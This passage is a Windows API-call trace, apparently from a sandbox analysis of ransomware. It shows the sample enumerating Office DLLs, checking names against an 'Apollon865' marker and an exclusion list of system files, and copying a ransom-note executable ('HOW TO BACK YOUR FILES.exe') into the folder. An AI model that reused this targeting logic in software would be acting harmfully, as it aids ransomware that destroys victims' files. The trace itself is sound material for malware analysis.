	[0054.228] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".lnk") returned 1
	[0054.228] lstrlenW (lpString=".ini") returned 4
	[0054.228] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".ini") returned 1
	[0054.228] lstrlenW (lpString=".sys") returned 4
	[0054.228] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".sys") returned 1
	[0054.228] lstrlenW (lpString="MSOHTMED.EXE") returned 12
	[0054.228] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NAME.DLL" | out: lpString1="NAME.DLL") returned="NAME.DLL"
	[0054.228] lstrlenW (lpString="NAME.DLL") returned 8
	[0054.228] lstrlenW (lpString="Apollon865") returned 10
	[0054.228] lstrlenW (lpString=".dll") returned 4
	[0054.228] lstrcmpiW (lpString1="NAME.DLL", lpString2=".dll") returned 1
	[0054.228] lstrlenW (lpString=".lnk") returned 4
	[0054.228] lstrcmpiW (lpString1="NAME.DLL", lpString2=".lnk") returned 1
	[0054.228] lstrlenW (lpString=".ini") returned 4
	[0054.228] lstrcmpiW (lpString1="NAME.DLL", lpString2=".ini") returned 1
	[0054.228] lstrlenW (lpString=".sys") returned 4
	[0054.228] lstrcmpiW (lpString1="NAME.DLL", lpString2=".sys") returned 1
	[0054.228] lstrlenW (lpString="NAME.DLL") returned 8
	[0054.228] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NAMECONTROLPROXY.DLL" | out: lpString1="NAMECONTROLPROXY.DLL") returned="NAMECONTROLPROXY.DLL"
	[0054.229] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20
	[0054.229] lstrlenW (lpString="Apollon865") returned 10
	[0054.229] lstrcmpiW (lpString1="LPROXY.DLL", lpString2="Apollon865") returned 1
	[0054.229] lstrlenW (lpString=".dll") returned 4
	[0054.229] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".dll") returned 1
	[0054.229] lstrlenW (lpString=".lnk") returned 4
	[0054.229] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".lnk") returned 1
	[0054.229] lstrlenW (lpString=".ini") returned 4
	[0054.229] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".ini") returned 1
	[0054.229] lstrlenW (lpString=".sys") returned 4
	[0054.229] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".sys") returned 1
	[0054.229] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20
	[0054.229] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NAMEEXT.DLL" | out: lpString1="NAMEEXT.DLL") returned="NAMEEXT.DLL"
	[0054.229] lstrlenW (lpString="NAMEEXT.DLL") returned 11
	[0054.229] lstrlenW (lpString="Apollon865") returned 10
	[0054.229] lstrcmpiW (lpString1="AMEEXT.DLL", lpString2="Apollon865") returned -1
	[0054.229] lstrlenW (lpString=".dll") returned 4
	[0054.229] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".dll") returned 1
	[0054.229] lstrlenW (lpString=".lnk") returned 4
	[0054.229] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".lnk") returned 1
	[0054.229] lstrlenW (lpString=".ini") returned 4
	[0054.229] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".ini") returned 1
	[0054.229] lstrlenW (lpString=".sys") returned 4
	[0054.229] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".sys") returned 1
	[0054.229] lstrlenW (lpString="NAMEEXT.DLL") returned 11
	[0054.229] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NPAUTHZ.DLL" | out: lpString1="NPAUTHZ.DLL") returned="NPAUTHZ.DLL"
	[0054.229] lstrlenW (lpString="NPAUTHZ.DLL") returned 11
	[0054.229] lstrlenW (lpString="Apollon865") returned 10
	[0054.229] lstrcmpiW (lpString1="PAUTHZ.DLL", lpString2="Apollon865") returned 1
	[0054.229] lstrlenW (lpString=".dll") returned 4
	[0054.229] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".dll") returned 1
	[0054.230] lstrlenW (lpString=".lnk") returned 4
	[0054.230] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".lnk") returned 1
	[0054.230] lstrlenW (lpString=".ini") returned 4
	[0054.230] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".ini") returned 1
	[0054.230] lstrlenW (lpString=".sys") returned 4
	[0054.230] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".sys") returned 1
	[0054.230] lstrlenW (lpString="NPAUTHZ.DLL") returned 11
	[0054.230] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="NPSPWRAP.DLL" | out: lpString1="NPSPWRAP.DLL") returned="NPSPWRAP.DLL"
	[0054.230] lstrlenW (lpString="NPSPWRAP.DLL") returned 12
	[0054.230] lstrlenW (lpString="Apollon865") returned 10
	[0054.230] lstrcmpiW (lpString1="SPWRAP.DLL", lpString2="Apollon865") returned 1
	[0054.230] lstrlenW (lpString=".dll") returned 4
	[0054.230] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".dll") returned 1
	[0054.230] lstrlenW (lpString=".lnk") returned 4
	[0054.230] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".lnk") returned 1
	[0054.230] lstrlenW (lpString=".ini") returned 4
	[0054.230] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".ini") returned 1
	[0054.230] lstrlenW (lpString=".sys") returned 4
	[0054.230] lstrcmpiW (lpString1="NPSPWRAP.DLL", lpString2=".sys") returned 1
	[0054.230] lstrlenW (lpString="NPSPWRAP.DLL") returned 12
	[0054.230] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="oisctrl.dll" | out: lpString1="oisctrl.dll") returned="oisctrl.dll"
	[0054.230] lstrlenW (lpString="oisctrl.dll") returned 11
	[0054.230] lstrlenW (lpString="Apollon865") returned 10
	[0054.230] lstrcmpiW (lpString1="isctrl.dll", lpString2="Apollon865") returned 1
	[0054.230] lstrlenW (lpString=".dll") returned 4
	[0054.230] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".dll") returned 1
	[0054.230] lstrlenW (lpString=".lnk") returned 4
	[0054.230] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".lnk") returned 1
	[0054.230] lstrlenW (lpString=".ini") returned 4
	[0054.230] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".ini") returned 1
	[0054.230] lstrlenW (lpString=".sys") returned 4
	[0054.230] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".sys") returned 1
	[0054.231] lstrlenW (lpString="oisctrl.dll") returned 11
	[0054.231] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OLKFSTUB.DLL" | out: lpString1="OLKFSTUB.DLL") returned="OLKFSTUB.DLL"
	[0054.231] lstrlenW (lpString="OLKFSTUB.DLL") returned 12
	[0054.231] lstrlenW (lpString="Apollon865") returned 10
	[0054.231] lstrcmpiW (lpString1="KFSTUB.DLL", lpString2="Apollon865") returned 1
	[0054.231] lstrlenW (lpString=".dll") returned 4
	[0054.231] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".dll") returned 1
	[0054.231] lstrlenW (lpString=".lnk") returned 4
	[0054.231] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".lnk") returned 1
	[0054.231] lstrlenW (lpString=".ini") returned 4
	[0054.231] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".ini") returned 1
	[0054.231] lstrlenW (lpString=".sys") returned 4
	[0054.231] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".sys") returned 1
	[0054.231] lstrlenW (lpString="OLKFSTUB.DLL") returned 12
	[0054.231] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ONBttnIE.dll" | out: lpString1="ONBttnIE.dll") returned="ONBttnIE.dll"
	[0054.231] lstrlenW (lpString="ONBttnIE.dll") returned 12
	[0054.231] lstrlenW (lpString="Apollon865") returned 10
	[0054.231] lstrcmpiW (lpString1="BttnIE.dll", lpString2="Apollon865") returned 1
	[0054.231] lstrlenW (lpString=".dll") returned 4
	[0054.231] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".dll") returned 1
	[0054.231] lstrlenW (lpString=".lnk") returned 4
	[0054.231] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".lnk") returned 1
	[0054.231] lstrlenW (lpString=".ini") returned 4
	[0054.231] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".ini") returned 1
	[0054.231] lstrlenW (lpString=".sys") returned 4
	[0054.231] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".sys") returned 1
	[0054.231] lstrlenW (lpString="ONBttnIE.dll") returned 12
	[0054.231] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ONBttnIELinkedNotes.dll" | out: lpString1="ONBttnIELinkedNotes.dll") returned="ONBttnIELinkedNotes.dll"
	[0054.231] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23
	[0054.231] lstrlenW (lpString="Apollon865") returned 10
	[0054.232] lstrcmpiW (lpString1="dNotes.dll", lpString2="Apollon865") returned 1
	[0054.232] lstrlenW (lpString=".dll") returned 4
	[0054.232] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".dll") returned 1
	[0054.232] lstrlenW (lpString=".lnk") returned 4
	[0054.232] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".lnk") returned 1
	[0054.232] lstrlenW (lpString=".ini") returned 4
	[0054.232] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".ini") returned 1
	[0054.232] lstrlenW (lpString=".sys") returned 4
	[0054.232] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".sys") returned 1
	[0054.232] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23
	[0054.232] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OneNoteSyncPC.dll" | out: lpString1="OneNoteSyncPC.dll") returned="OneNoteSyncPC.dll"
	[0054.232] lstrlenW (lpString="OneNoteSyncPC.dll") returned 17
	[0054.232] lstrlenW (lpString="Apollon865") returned 10
	[0054.232] lstrcmpiW (lpString1="SyncPC.dll", lpString2="Apollon865") returned 1
	[0054.232] lstrlenW (lpString=".dll") returned 4
	[0054.232] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".dll") returned 1
	[0054.232] lstrlenW (lpString=".lnk") returned 4
	[0054.232] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".lnk") returned 1
	[0054.232] lstrlenW (lpString=".ini") returned 4
	[0054.232] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".ini") returned 1
	[0054.232] lstrlenW (lpString=".sys") returned 4
	[0054.232] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".sys") returned 1
	[0054.232] lstrlenW (lpString="OneNoteSyncPC.dll") returned 17
	[0054.232] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ONLNTCOMLIB.DLL" | out: lpString1="ONLNTCOMLIB.DLL") returned="ONLNTCOMLIB.DLL"
	[0054.232] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15
	[0054.232] lstrlenW (lpString="Apollon865") returned 10
	[0054.232] lstrcmpiW (lpString1="COMLIB.DLL", lpString2="Apollon865") returned 1
	[0054.232] lstrlenW (lpString=".dll") returned 4
	[0054.232] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".dll") returned 1
	[0054.232] lstrlenW (lpString=".lnk") returned 4
	[0054.232] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".lnk") returned 1
	[0054.233] lstrlenW (lpString=".ini") returned 4
	[0054.233] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".ini") returned 1
	[0054.233] lstrlenW (lpString=".sys") returned 4
	[0054.233] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".sys") returned 1
	[0054.233] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15
	[0054.233] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OWSSUPP.DLL" | out: lpString1="OWSSUPP.DLL") returned="OWSSUPP.DLL"
	[0054.233] lstrlenW (lpString="OWSSUPP.DLL") returned 11
	[0054.233] lstrlenW (lpString="Apollon865") returned 10
	[0054.233] lstrcmpiW (lpString1="WSSUPP.DLL", lpString2="Apollon865") returned 1
	[0054.233] lstrlenW (lpString=".dll") returned 4
	[0054.233] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".dll") returned 1
	[0054.233] lstrlenW (lpString=".lnk") returned 4
	[0054.233] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".lnk") returned 1
	[0054.233] lstrlenW (lpString=".ini") returned 4
	[0054.233] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".ini") returned 1
	[0054.233] lstrlenW (lpString=".sys") returned 4
	[0054.233] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".sys") returned 1
	[0054.233] lstrlenW (lpString="OWSSUPP.DLL") returned 11
	[0054.233] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="PPSLAX.DLL" | out: lpString1="PPSLAX.DLL") returned="PPSLAX.DLL"
	[0054.233] lstrlenW (lpString="PPSLAX.DLL") returned 10
	[0054.233] lstrlenW (lpString="Apollon865") returned 10
	[0054.233] lstrlenW (lpString=".dll") returned 4
	[0054.233] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".dll") returned 1
	[0054.233] lstrlenW (lpString=".lnk") returned 4
	[0054.233] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".lnk") returned 1
	[0054.233] lstrlenW (lpString=".ini") returned 4
	[0054.233] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".ini") returned 1
	[0054.233] lstrlenW (lpString=".sys") returned 4
	[0054.233] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".sys") returned 1
	[0054.233] lstrlenW (lpString="PPSLAX.DLL") returned 10
	[0054.233] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="STSCOPY.DLL" | out: lpString1="STSCOPY.DLL") returned="STSCOPY.DLL"
	[0054.234] lstrlenW (lpString="STSCOPY.DLL") returned 11
	[0054.234] lstrlenW (lpString="Apollon865") returned 10
	[0054.234] lstrcmpiW (lpString1="TSCOPY.DLL", lpString2="Apollon865") returned 1
	[0054.234] lstrlenW (lpString=".dll") returned 4
	[0054.234] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".dll") returned 1
	[0054.234] lstrlenW (lpString=".lnk") returned 4
	[0054.234] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".lnk") returned 1
	[0054.234] lstrlenW (lpString=".ini") returned 4
	[0054.234] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".ini") returned 1
	[0054.234] lstrlenW (lpString=".sys") returned 4
	[0054.234] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".sys") returned 1
	[0054.234] lstrlenW (lpString="STSCOPY.DLL") returned 11
	[0054.234] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="STSUPLD.DLL" | out: lpString1="STSUPLD.DLL") returned="STSUPLD.DLL"
	[0054.234] lstrlenW (lpString="STSUPLD.DLL") returned 11
	[0054.234] lstrlenW (lpString="Apollon865") returned 10
	[0054.234] lstrcmpiW (lpString1="TSUPLD.DLL", lpString2="Apollon865") returned 1
	[0054.234] lstrlenW (lpString=".dll") returned 4
	[0054.234] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".dll") returned 1
	[0054.234] lstrlenW (lpString=".lnk") returned 4
	[0054.234] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".lnk") returned 1
	[0054.234] lstrlenW (lpString=".ini") returned 4
	[0054.234] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".ini") returned 1
	[0054.234] lstrlenW (lpString=".sys") returned 4
	[0054.234] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".sys") returned 1
	[0054.234] lstrlenW (lpString="STSUPLD.DLL") returned 11
	[0054.234] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UMLVB.DLL" | out: lpString1="UMLVB.DLL") returned="UMLVB.DLL"
	[0054.234] lstrlenW (lpString="UMLVB.DLL") returned 9
	[0054.234] lstrlenW (lpString="Apollon865") returned 10
	[0054.234] lstrlenW (lpString=".dll") returned 4
	[0054.234] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".dll") returned 1
	[0054.234] lstrlenW (lpString=".lnk") returned 4
	[0054.234] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".lnk") returned 1
	[0054.235] lstrlenW (lpString=".ini") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".ini") returned 1
	[0054.235] lstrlenW (lpString=".sys") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".sys") returned 1
	[0054.235] lstrlenW (lpString="UMLVB.DLL") returned 9
	[0054.235] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UMLVC60.DLL" | out: lpString1="UMLVC60.DLL") returned="UMLVC60.DLL"
	[0054.235] lstrlenW (lpString="UMLVC60.DLL") returned 11
	[0054.235] lstrlenW (lpString="Apollon865") returned 10
	[0054.235] lstrcmpiW (lpString1="MLVC60.DLL", lpString2="Apollon865") returned 1
	[0054.235] lstrlenW (lpString=".dll") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".dll") returned 1
	[0054.235] lstrlenW (lpString=".lnk") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".lnk") returned 1
	[0054.235] lstrlenW (lpString=".ini") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".ini") returned 1
	[0054.235] lstrlenW (lpString=".sys") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".sys") returned 1
	[0054.235] lstrlenW (lpString="UMLVC60.DLL") returned 11
	[0054.235] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UMLVS.DLL" | out: lpString1="UMLVS.DLL") returned="UMLVS.DLL"
	[0054.235] lstrlenW (lpString="UMLVS.DLL") returned 9
	[0054.235] lstrlenW (lpString="Apollon865") returned 10
	[0054.235] lstrlenW (lpString=".dll") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".dll") returned 1
	[0054.235] lstrlenW (lpString=".lnk") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".lnk") returned 1
	[0054.235] lstrlenW (lpString=".ini") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".ini") returned 1
	[0054.235] lstrlenW (lpString=".sys") returned 4
	[0054.235] lstrcmpiW (lpString1="UMLVS.DLL", lpString2=".sys") returned 1
	[0054.235] lstrlenW (lpString="UMLVS.DLL") returned 9
	[0054.236] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="URLREDIR.DLL" | out: lpString1="URLREDIR.DLL") returned="URLREDIR.DLL"
	[0054.236] lstrlenW (lpString="URLREDIR.DLL") returned 12
	[0054.236] lstrlenW (lpString="Apollon865") returned 10
	[0054.236] lstrcmpiW (lpString1="LREDIR.DLL", lpString2="Apollon865") returned 1
	[0054.236] lstrlenW (lpString=".dll") returned 4
	[0054.236] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".dll") returned 1
	[0054.236] lstrlenW (lpString=".lnk") returned 4
	[0054.236] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".lnk") returned 1
	[0054.236] lstrlenW (lpString=".ini") returned 4
	[0054.236] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".ini") returned 1
	[0054.236] lstrlenW (lpString=".sys") returned 4
	[0054.236] lstrcmpiW (lpString1="URLREDIR.DLL", lpString2=".sys") returned 1
	[0054.236] lstrlenW (lpString="URLREDIR.DLL") returned 12
	[0054.236] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="VVIEWDWG.DLL" | out: lpString1="VVIEWDWG.DLL") returned="VVIEWDWG.DLL"
	[0054.236] lstrlenW (lpString="VVIEWDWG.DLL") returned 12
	[0054.236] lstrlenW (lpString="Apollon865") returned 10
	[0054.236] lstrcmpiW (lpString1="IEWDWG.DLL", lpString2="Apollon865") returned 1
	[0054.236] lstrlenW (lpString=".dll") returned 4
	[0054.236] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".dll") returned 1
	[0054.236] lstrlenW (lpString=".lnk") returned 4
	[0054.236] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".lnk") returned 1
	[0054.236] lstrlenW (lpString=".ini") returned 4
	[0054.236] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".ini") returned 1
	[0054.236] lstrlenW (lpString=".sys") returned 4
	[0054.236] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".sys") returned 1
	[0054.236] lstrlenW (lpString="VVIEWDWG.DLL") returned 12
	[0054.236] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="VVIEWER.DLL" | out: lpString1="VVIEWER.DLL") returned="VVIEWER.DLL"
	[0054.236] lstrlenW (lpString="VVIEWER.DLL") returned 11
	[0054.236] lstrlenW (lpString="Apollon865") returned 10
	[0054.236] lstrcmpiW (lpString1="VIEWER.DLL", lpString2="Apollon865") returned 1
	[0054.236] lstrlenW (lpString=".dll") returned 4
	[0054.236] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".dll") returned 1
	[0054.237] lstrlenW (lpString=".lnk") returned 4
	[0054.237] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".lnk") returned 1
	[0054.237] lstrlenW (lpString=".ini") returned 4
	[0054.237] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".ini") returned 1
	[0054.237] lstrlenW (lpString=".sys") returned 4
	[0054.237] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".sys") returned 1
	[0054.237] lstrlenW (lpString="VVIEWER.DLL") returned 11
	[0054.237] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033"
	[0054.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0054.237] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned 53
	[0054.237] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" | out: lpString1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033"
	[0054.237] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.237] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.248] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.248] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386880d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386880d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0054.249] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.249] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.249] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.249] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x386880d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x386880d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.249] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.249] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.249] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.249] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.249] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".") returned 1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="..") returned 1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="windows") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="bootmgr") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="temp") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="pagefile.sys") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="boot") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="ids.txt") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="ntuser.dat") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="perflogs") returned -1
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="MSBuild") returned -1
	[0054.249] lstrlenW (lpString="BHOINTL.DLL") returned 11
	[0054.249] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*") returned 55
	[0054.249] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="BHOINTL.DLL" | out: lpString1="BHOINTL.DLL") returned="BHOINTL.DLL"
	[0054.249] lstrlenW (lpString="BHOINTL.DLL") returned 11
	[0054.249] lstrlenW (lpString="Apollon865") returned 10
	[0054.249] lstrcmpiW (lpString1="HOINTL.DLL", lpString2="Apollon865") returned 1
	[0054.249] lstrlenW (lpString=".dll") returned 4
	[0054.249] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".dll") returned 1
	[0054.249] lstrlenW (lpString=".lnk") returned 4
	[0054.250] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".lnk") returned 1
	[0054.250] lstrlenW (lpString=".ini") returned 4
	[0054.250] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".ini") returned 1
	[0054.250] lstrlenW (lpString=".sys") returned 4
	[0054.250] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".sys") returned 1
	[0054.250] lstrlenW (lpString="BHOINTL.DLL") returned 11
	[0054.250] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DL_RES.DLL" | out: lpString1="DL_RES.DLL") returned="DL_RES.DLL"
	[0054.250] lstrlenW (lpString="DL_RES.DLL") returned 10
	[0054.250] lstrlenW (lpString="Apollon865") returned 10
	[0054.250] lstrlenW (lpString=".dll") returned 4
	[0054.250] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".dll") returned 1
	[0054.250] lstrlenW (lpString=".lnk") returned 4
	[0054.250] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".lnk") returned 1
	[0054.250] lstrlenW (lpString=".ini") returned 4
	[0054.250] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".ini") returned 1
	[0054.250] lstrlenW (lpString=".sys") returned 4
	[0054.250] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".sys") returned 1
	[0054.250] lstrlenW (lpString="DL_RES.DLL") returned 10
